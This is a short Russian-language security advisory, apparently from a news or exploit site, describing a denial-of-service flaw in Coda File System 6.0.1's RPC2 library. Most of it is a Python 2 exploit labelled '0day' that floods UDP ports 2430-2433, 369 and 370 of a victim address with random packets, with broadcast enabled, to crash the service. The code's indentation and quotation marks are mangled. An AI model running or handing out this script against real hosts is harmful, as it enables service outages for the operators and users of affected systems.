Отказ в обслуживании обнаружен в Code file system. Работа приложения, использующего RPC2, может быть аварийно завершена удаленным пользователем.

Удаленный пользователь может послать злонамеренный пакет к приложению, которое использует библиотеку Coda RPC2, чтобы аварийно завершить его работу. 

Уязвимость обнаружена в Coda File System 6.0.1.

Эксплоит:

#!/usr/bin/python2
#
# 0day coda infrastructure d0s thinger
# — andrewg
#

import os, sys, struct, socket, random

if len(sys.argv) < 2:
print sys.argv[0] + » address_of_victim»
sys.exit(-1)

header = struct.pack(«>l», 8)

rnd = random.seed(232)
n = 0

for i in range(1, 20, 1):
pkt = header
j = random.randint(1, 512)
for k in range(1, j, 1): l = random.randint(1, 65535)
j = random.randint(1, 512)
for j in range(1, j, 1):
pkt += struct.pack(«<b», random.randint(1, 256))

for m in 2430, 2431, 2432, 2433, 369, 370:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except:
if(n == 0): print «Unable to set broadcast»
n = 1

s.connect((sys.argv[1], m))
s.send(pkt)
s.close()

print «[d0s sent]»



Оставить мнение